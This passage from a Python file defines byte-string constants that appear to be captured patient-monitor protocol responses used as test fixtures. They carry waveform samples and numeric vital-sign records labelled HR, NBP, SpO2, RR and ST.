b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x07\x8e\x00\x01\x00\x4a\x09\x6e\x00\x46\x4b\xb4\x04\x00" \
b"\x00\x40\x04\x00\x04\x04\x04\x0b\x04\x18\x04\x28\x04\x3e\x04\x57" \
b"\x04\x76\x04\x99\x04\xc0\x04\xec\x05\x1d\x05\x51\x05\x89\x05\xc5" \
b"\x06\x05\x06\x47\x06\x8c\x06\xd3\x07\x1c\x07\x67\x07\xb3\x07\xff" \
b"\x08\x4c\x08\x99\x08\xe4\x09\x2f\x09\x78\x09\xbf\x0a\x03\x0a\x44" \
b"\x0a\x83"
rsp_wave_4_no_3 = \
b"\xe1\x00\x00\x02\x00\x02" \
b"\x03\xb0\x00\x04\x00\x07\x03\xaa\x00\x21\x00\x00\x00\x00\xf1\x3b" \
b"\x03\xa0\x00\x03\x00\x02\x0e\x80\x10\x00\xff\xff\xff\xff\xff\xff" \
b"\xff\xff\x00\x01\x00\x09\x00\x00\x00\x01\x03\x86\x00\x00\x00\x04" \
b"\x03\x80\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x02\x04\x00" \
b"\x01\x00\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\xa1\x94\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xff\x20\x04\x20\x0c\x20\x14\x20\x1c\x20\x26\x20\x2f" \
b"\x20\x38\x20\x42\x20\x4b\x20\x55\x20\x5e\x20\x68\x20\x71\x20\x7a" \
b"\x20\x83\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x01\x04\x00" \
b"\x01\x00\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\xa0\x84\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfe\x20\x00\x20\x02\x20\x06\x20\x08\x20\x0b" \
b"\x20\x0e\x20\x10\x20\x13\x20\x17\x20\x18\x20\x1a\x20\x1d\x20\x20" \
b"\x20\x23\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x3d\x04\x00" \
b"\x01\x00\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\xa1\x04\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x20\x01\x20\x05\x20\x0b\x20\x11\x20\x15\x20\x1d\x20\x23" \
b"\x20\x29\x20\x31\x20\x37\x20\x3d\x20\x45\x20\x4d\x20\x53\x20\x59" \
b"\x20\x5f\x07\x8e\x00\x01\x00\x4a\x09\x6e\x00\x46\x4b\xb4\x04\x00" \
b"\x00\x40\x0a\xbd\x0a\xf3\x0b\x25\x0b\x53\x0b\x7b\x0b\x9f\x0b\xbd" \
b"\x0b\xd5\x0b\xe8\x0b\xf6\x0b\xfe\x0c\x00\x0b\xfc\x0b\xf3\x0b\xe5" \
b"\x0b\xd2\x0b\xba\x0b\x9d\x0b\x7b\x0b\x56\x0b\x2c\x0b\x00\x0a\xd0" \
b"\x0a\x9d\x0a\x68\x0a\x31\x09\xf9\x09\xbf\x09\x85\x09\x4b\x09\x10" \
b"\x08\xd7"
rsp_wave_4_no_4 = \
b"\xe1\x00\x00\x02\x00\x02" \
b"\x03\xb0\x00\x04\x00\x07\x03\xaa\x00\x21\x00\x00\x00\x00\xf1\x3b" \
b"\x03\xa0\x00\x03\x00\x03\x0e\x80\x18\x00\xff\xff\xff\xff\xff\xff" \
b"\xff\xff\x00\x01\x00\x09\x00\x00\x00\x01\x03\x86\x00\x00\x00\x04" \
b"\x03\x80\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x02\x04\x00" \
b"\x01\x00\x20\x8d\x20\x96\x20\x9f\x20\xa8\x20\xad\x20\xab\x20\xa6" \
b"\x20\x9e\x20\x95\x20\x8c\x20\x82\x20\x78\x20\x6e\x20\x63\x20\x59" \
b"\x20\x4f\x20\x45\x20\x3a\x20\x30\x20\x26\x20\x1c\x20\x12\x20\x08" \
b"\x1f\xff\x1f\xf7\x1f\xf3\x1f\xf0\x1f\xee\x1f\xed\x1f\xed\x1f\xec" \
b"\x1f\xec\x1f\xed\x1f\xed\x1f\xed\x1f\xed\x1f\xed\x1f\xed\x1f\xed" \
b"\x1f\xed\x1f\xed\x1f\xee\x1f\xee\x1f\xee\x1f\xee\x1f\xee\x1f\xee" \
b"\x1f\xee\x1f\xee\x1f\xef\x1f\xef\x1f\xef\x1f\xef\x1f\xef\x1f\xef" \
b"\x1f\xef\x1f\xef\x1f\xf0\x1f\xf0\x1f\xf0\x1f\xf0\x1f\xf0\x1f\xf0" \
b"\x1f\xf0\x1f\xf0\x1f\xf0\x1f\xf0\x1f\xf0\x1f\xf1\x1f\xf1\x1f\xf1" \
b"\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1" \
b"\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf2\x1f\xf2\x1f\xf2" \
b"\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2" \
b"\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf4\x1f\xf4\x1f\xf4" \
b"\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4" \
b"\x1f\xf4\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x01\x04\x00" \
b"\x01\x00\x20\x25\x20\x28\x20\x2b\x20\x2e\x20\x31\x20\x33\x20\x30" \
b"\x20\x30\x20\x2d\x20\x2a\x20\x28\x20\x26\x20\x22\x20\x1f\x20\x1d" \
b"\x20\x19\x20\x17\x20\x14\x20\x12\x20\x0e\x20\x0c\x20\x0a\x20\x06" \
b"\x20\x03\x20\x01\x1f\xff\x1f\xfe\x1f\xfe\x1f\xfd\x1f\xfd\x1f\xfc" \
b"\x1f\xfc\x1f\xfb\x1f\xfb\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc" \
b"\x1f\xfc\x1f\xfc\x1f\xfb\x1f\xfb\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc" \
b"\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfc\x1f\xfe\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xff\x1f\xfe\x1f\xfe\x1f\xfe" \
b"\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe" \
b"\x1f\xfe\x1f\xfe\x1f\xfe\x1f\xfe\x20\x00\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x20\x01\x20\x00\x20\x00\x20\x00" \
b"\x20\x00\x20\x00\x20\x00\x20\x00\x20\x00\x20\x00\x20\x00\x20\x00" \
b"\x20\x00\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x3d\x04\x00" \
b"\x01\x00\x20\x67\x20\x6d\x20\x73\x20\x79\x20\x7b\x20\x77\x20\x75" \
b"\x20\x6d\x20\x67\x20\x61\x20\x59\x20\x51\x20\x4b\x20\x43\x20\x3b" \
b"\x20\x35\x20\x2d\x20\x25\x20\x1d\x20\x17\x20\x0f\x20\x07\x20\x01" \
b"\x1f\xfb\x1f\xf5\x1f\xf3\x1f\xf1\x1f\xef\x1f\xef\x1f\xef\x1f\xef" \
b"\x1f\xef\x1f\xf1\x1f\xf1\x1f\xef\x1f\xef\x1f\xef\x1f\xef\x1f\xef" \
b"\x1f\xef\x1f\xef\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1" \
b"\x1f\xf1\x1f\xf1\x1f\xf3\x1f\xf3\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1" \
b"\x1f\xf1\x1f\xf1\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf1\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf1\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf1\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf1\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x07\x8e\x00\x01\x00\x4a\x09\x6e\x00\x46\x4b\xb4\x04\x00" \
b"\x00\x40\x08\x9e\x08\x66\x08\x30\x07\xfb\x07\xc9\x07\x99\x07\x6b" \
b"\x07\x40\x07\x18\x06\xf3\x06\xd2\x06\xb3\x06\x97\x06\x7f\x06\x69" \
b"\x06\x57\x06\x47\x06\x3a\x06\x2f\x06\x27\x06\x21\x06\x1d\x06\x1a" \
b"\x06\x19\x06\x19\x06\x1a\x06\x1b\x06\x1d\x06\x1e\x06\x20\x06\x20" \
b"\x06\x20"
rsp_nu_5_no_1 = \
b"\xe1\x00\x00\x02\x00\x05" \
b"\x04\x1c\x01\x01\x00\x01\x00\x07\x04\x14\x00\x21\x00\x00\x00\x00" \
b"\xf1\x3b\x04\x0a\x00\x01\x00\x00\x0e\x80\x2f\x00\xff\xff\xff\xff" \
b"\xff\xff\xff\xff\x00\x01\x00\x06\x00\x00\x00\x01\x03\xf0\x00\x00" \
b"\x00\x0a\x03\xea\x86\x3f\x00\x07\x00\x46\x09\x21\x00\x02\x86\x3f" \
b"\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00" \
b"\x00\x01\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\x58\x04" \
b"\x09\x27\x00\x10\x00\x0e\x00\x43\x00\x50\x00\x50\x00\x20\x00\x20" \
b"\x00\x20\x00\x00\x09\x17\x00\x02\x03\x00\x09\x11\x00\x02\x00\x05" \
b"\x86\x58\x00\x07\x00\x46\x09\x21\x00\x02\x86\x58\x09\x2f\x00\x04" \
b"\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28" \
b"\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\xe0\x18\x09\x27\x00\x10" \
b"\x00\x0e\x03\x94\x6e\x29\xfe\xff\x5e\xa6\xfe\xff\x00\x20\x00\x00" \
b"\x09\x17\x00\x02\x03\x01\x09\x11\x00\x02\x00\x02\x87\x8c\x00\x09" \
b"\x00\x5a\x09\x21\x00\x02\x87\x8c\x09\x2f\x00\x04\x00\x01\x00\x06" \
b"\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28\x00\x00\x00\x00" \
b"\x09\x24\x00\x04\x00\x02\x4b\xb8\x09\x27\x00\x10\x00\x0e\x00\x53" \
b"\x00\x70\x00\x4f\x20\x82\x00\x20\x00\x20\x00\x00\x09\x17\x00\x02" \
b"\x03\x00\x09\x11\x00\x02\x00\x06\xf0\x08\x00\x02\x06\xd1\x09\x50" \
b"\x00\x0a\x4b\xb8\x04\x00\x02\x20\xff\x00\x03\xb6\x87\x92\x00\x07" \
b"\x00\x4e\x09\x21\x00\x02\x87\x92\x09\x2f\x00\x04\x00\x01\x00\x06" \
b"\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28\x00\x00\x00\x00" \
b"\x09\x24\x00\x04\x00\x02\x48\x22\x09\x27\x00\x10\x00\x0e\x81\x09" \
b"\xfe\xff\x64\x0f\xfe\xff\x00\x20\x00\x20\x00\x00\x09\x11\x00\x02" \
b"\x00\x06\x09\x50\x00\x0a\x48\x22\x04\x01\x0a\xa0\x00\x00\x00\x3c" \
b"\x87\x96\x00\x08\x00\x54\x09\x21\x00\x02\x87\x96\x09\x2f\x00\x04" \
b"\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28" \
b"\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\x4b\xb0\x09\x27\x00\x10" \
b"\x00\x0e\x70\x4c\xfe\xff\x6c\xe8\xfe\xff\x00\x20\x00\x20\x00\x00" \
b"\x09\x17\x00\x02\x02\x01\x09\x11\x00\x02\x00\x06\x09\x50\x00\x0a" \
b"\x4b\xb0\x04\x00\x02\x00\xff\x00\x00\x64\x87\xe6\x00\x0a\x00\x82" \
b"\x09\x21\x00\x02\x87\xe6\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f" \
b"\x00\x0c\x00\x00\x20\x00\x00\x01\x52\x28\x01\x03\x00\x00\x09\x24" \
b"\x00\x04\x00\x02\x4a\x04\x09\x27\x00\x10\x00\x0e\x00\x4e\x00\x42" \
b"\x00\x50\x00\x20\x00\x20\x00\x20\x00\x00\x09\x11\x00\x02\x00\x01" \
b"\x09\x90\x00\x08\x20\x19\x03\x21\x16\x30\x43\x00\xf2\x37\x00\x04" \
b"\xff\xff\xff\xff\xf9\x98\x00\x04\xff\xff\xff\xff\x09\x4b\x00\x22" \
b"\x00\x03\x00\x1e\x4a\x05\x20\x00\x0f\x20\x00\x7f\xff\xff\x4a\x06" \
b"\x20\x00\x0f\x20\x00\x7f\xff\xff\x4a\x07\x20\x00\x0f\x20\x00\x7f" \
b"\xff\xff\x87\xe9\x00\x0a\x00\x68\x09\x21\x00\x02\x87\xe9\x09\x2f" \
b"\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01" \
b"\x52\x28\x00\x01\x00\x00\x09\x24\x00\x04\x00\x02\xf0\xe5\x09\x27" \
b"\x00\x10\x00\x0e\x81\x09\xfe\xff\x64\x0f\xfe\xff\x00\x20\x00\x20" \
b"\x00\x00\x09\x17\x00\x02\x03\x00\x09\x11\x00\x02\x00\x01\x09\x90" \
b"\x00\x08\x20\x19\x03\x21\x16\x30\x43\x00\xf9\x98\x00\x04\xff\xff" \
b"\xff\xff\x09\x50\x00\x0a\xf0\xe5\x20\x00\x0a\xa0\x00\x7f\xff\xff" \
b"\x88\x16\x00\x07\x00\x4e\x09\x21\x00\x02\x88\x16\x09\x2f\x00\x04" \
b"\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28" \
b"\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\x41\x82\x09\x27\x00\x10" \
b"\x00\x0e\x00\x48\x00\x52\x00\x20\x00\x20\x00\x20\x00\x20\x00\x00" \
b"\x09\x11\x00\x02\x00\x02\x09\x50\x00\x0a\x41\x82\x04\x00\x0a\xa0" \
b"\x00\x00\x00\x3c\x88\x1d\x00\x07\x00\x4e\x09\x21\x00\x02\x88\x1d" \
b"\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00" \
b"\x00\x01\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\x50\x0a" \
b"\x09\x27\x00\x10\x00\x0e\x00\x52\x00\x52\x00\x20\x00\x20\x00\x20" \
b"\x00\x20\x00\x00\x09\x11\x00\x02\x00\x03\x09\x50\x00\x0a\x50\x0a" \
b"\x04\x00\x0a\xe0\x00\x00\x00\x0f\x88\x22\x00\x08\x00\xa0\x09\x21" \
b"\x00\x02\x88\x22\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c" \
b"\x00\x00\x20\x00\x00\x01\x42\x28\x01\x0c\x00\x00\x09\x24\x00\x04" \
b"\x00\x02\x03\x00\x09\x27\x00\x10\x00\x0e\x00\x53\x00\x54\x00\x20" \
b"\x00\x20\x00\x20\x00\x20\x00\x00\x09\x11\x00\x02\x00\x02\x09\x4b" \
b"\x00\x54\x00\x08\x00\x50\x03\x01\x84\x00\x05\x12\x00\x7f\xff\xff" \
b"\x03\x02\x84\x00\x05\x12\x00\x7f\xff\xff\x03\x3d\x84\x00\x05\x12" \
b"\x00\x7f\xff\xff\x03\x3e\x84\x00\x05\x12\x00\x7f\xff\xff\x03\x3f" \
b"\x84\x00\x05\x12\x00\x7f\xff\xff\x03\x40\x84\x00\x05\x12\x00\x7f" \
b"\xff\xff\x03\x04\x84\x00\x05\x12\x00\x7f\xff\xff\x03\x07\x84\x00" \
b"\x05\x12\x00\x7f\xff\xff\x09\x91\x00\x04\x0e\x7e\xf0\x00"
rsp_nu_5_no_2 = \
b"\xe1\x00\x00\x02\x00\x05" \
b"\x02\x50\x03\x02\x00\x01\x00\x07\x02\x48\x00\x21\x00\x00\x00\x00" \
b"\xf1\x3b\x02\x3e\x00\x01\x00\x00\x0e\x80\x2f\x00\xff\xff\xff\xff" \
b"\xff\xff\xff\xff\x00\x01\x00\x06\x00\x00\x00\x01\x02\x24\x00\x00" \
b"\x00\x09\x02\x1e\x88\x28\x00\x03\x00\x1e\x09\x21\x00\x02\x88\x28" \
b"\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00" \
b"\x00\x01\x24\x00\x01\x0c\x00\x80\x88\x2a\x00\x06\x00\x40\x09\x21" \
b"\x00\x02\x88\x2a\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c" \
b"\x00\x00\x20\x00\x00\x05\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04" \
b"\x00\x02\xf0\x3d\x09\x27\x00\x10\x00\x0e\x00\x53\x00\x54\x63\x07" \
b"\xfe\xff\x65\x70\xfe\xff\x00\x00\x09\x11\x00\x02\x00\x02\x88\x2f" \
b"\x00\x07\x00\x4e\x09\x21\x00\x02\x88\x2f\x09\x2f\x00\x04\x00\x01" \
b"\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28\x00\x00" \
b"\x00\x00\x09\x24\x00\x04\x00\x02\x42\x61\x09\x27\x00\x10\x00\x0e" \
b"\x00\x50\x00\x56\x00\x43\x00\x20\x00\x20\x00\x20\x00\x00\x09\x11" \
b"\x00\x02\x00\x02\x09\x50\x00\x0a\x42\x61\x04\x00\x0a\xa0\x00\x00" \
b"\x00\x00\x88\x3c\x00\x06\x00\x40\x09\x21\x00\x02\x88\x3c\x09\x2f" \
b"\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01" \
b"\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\x3f\x20\x09\x27" \
b"\x00\x10\x00\x0e\x00\x51\x00\x54\x00\x20\x00\x20\x00\x20\x00\x20" \
b"\x00\x00\x09\x11\x00\x02\x00\x02\x88\x3e\x00\x06\x00\x40\x09\x21" \
b"\x00\x02\x88\x3e\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c" \
b"\x00\x00\x20\x00\x00\x01\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04" \
b"\x00\x02\x3f\x24\x09\x27\x00\x10\x00\x0e\x00\x51\x00\x54\x00\x63" \
b"\x00\x20\x00\x20\x00\x20\x00\x00\x09\x11\x00\x02\x00\x02\x88\x40" \
b"\x00\x06\x00\x40\x09\x21\x00\x02\x88\x40\x09\x2f\x00\x04\x00\x01" \
b"\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28\x00\x00" \
b"\x00\x00\x09\x24\x00\x04\x00\x02\xf1\x56\x09\x27\x00\x10\x00\x0e" \
b"\x03\x94\x00\x51\x00\x54\x00\x63\x00\x20\x00\x20\x00\x00\x09\x11" \
b"\x00\x02\x00\x02\x88\x42\x00\x06\x00\x40\x09\x21\x00\x02\x88\x42" \
b"\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00" \
b"\x00\x01\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\xf1\x54" \
b"\x09\x27\x00\x10\x00\x0e\x00\x51\x00\x54\x00\x2d\x00\x48\x00\x52" \
b"\x00\x20\x00\x00\x09\x11\x00\x02\x00\x02\x88\x46\x00\x03\x00\x1e" \
b"\x09\x21\x00\x02\x88\x46\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f" \
b"\x00\x0c\x00\x00\x20\x00\x00\x01\x24\x00\x00\x00\x00\x80\x88\x48" \
b"\x00\x03\x00\x1e\x09\x21\x00\x02\x88\x48\x09\x2f\x00\x04\x00\x01" \
b"\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x24\x00\x00\x00" \
b"\x00\x80"
rsp_nu_5_no_3 = \
b"\xe1\x00\x00\x02\x00\x02" \
b"\x00\x2a\x00\x01\x00\x07\x00\x24\x00\x21\x00\x00\x00\x00\xf1\x3b" \
b"\x00\x1a\x00\x01\x00\x00\x0e\x80\x2f\x00\xff\xff\xff\xff\xff\xff" \
b"\xff\xff\x00\x01\x00\x06\x00\x00\x00\x00\x00\x00"
rsp_wave_5_no_1 = \
b"\xe1\x00\x00\x02\x00\x02" \
b"\x01\x2e\x00\x04\x00\x07\x01\x28\x00\x21\x00\x00\x00\x00\xf1\x3b" \
b"\x01\x1e\x00\x03\x00\x00\x0e\x80\x00\x00\xff\xff\xff\xff\xff\xff" \
b"\xff\xff\x00\x01\x00\x09\x00\x00\x00\x01\x01\x04\x00\x00\x00\x02" \
b"\x00\xfe\x08\x11\x00\x0f\x00\xa8\x09\x21\x00\x02\x08\x11\x09\x2f" \
b"\x00\x04\x00\x01\x00\x09\x09\x3f\x00\x0c\x00\x00\x08\x00\x00\x01" \
b"\x42\x80\x00\x00\x00\x00\x09\x6d\x00\x06\x00\x80\x10\x0e\x30\x00" \
b"\x0a\x16\x00\x14\x00\x04\x00\x10\x00\x04\x80\x08\x00\x03\x40\x01" \
b"\x00\x02\x80\x04\x00\x05\x40\x02\x09\x8d\x00\x04\x00\x00\x00\x10" \
b"\x09\x24\x00\x04\x00\x02\x01\x3d\x09\x27\x00\x10\x00\x0e\x00\x49" \
b"\x00\x49\x00\x49\x00\x20\x00\x20\x00\x20\x00\x00\x09\x96\x00\x02" \
b"\x10\xb2\x09\x45\x00\x02\x02\x40\x09\x11\x00\x02\x00\x02\x09\x40" \
b"\x00\x02\x00\x00\x09\x6f\x00\x0c\xfe\xff\xf0\x00\xfd\x00\x9f\xfb" \
b"\x00\x00\x3f\xff\x09\x64\x00\x10\x00\x00\x00\x00\x00\x00\x00\x01" \
b"\x1f\xca\x20\x92\x00\x00\x00\x00\x09\x6a\x00\x04\x1e\x9e\x21\xbe" \
b"\x07\x8e\x00\x01\x00\x4a\x09\x6e\x00\x46\x4b\xb4\x04\x00\x00\x40" \
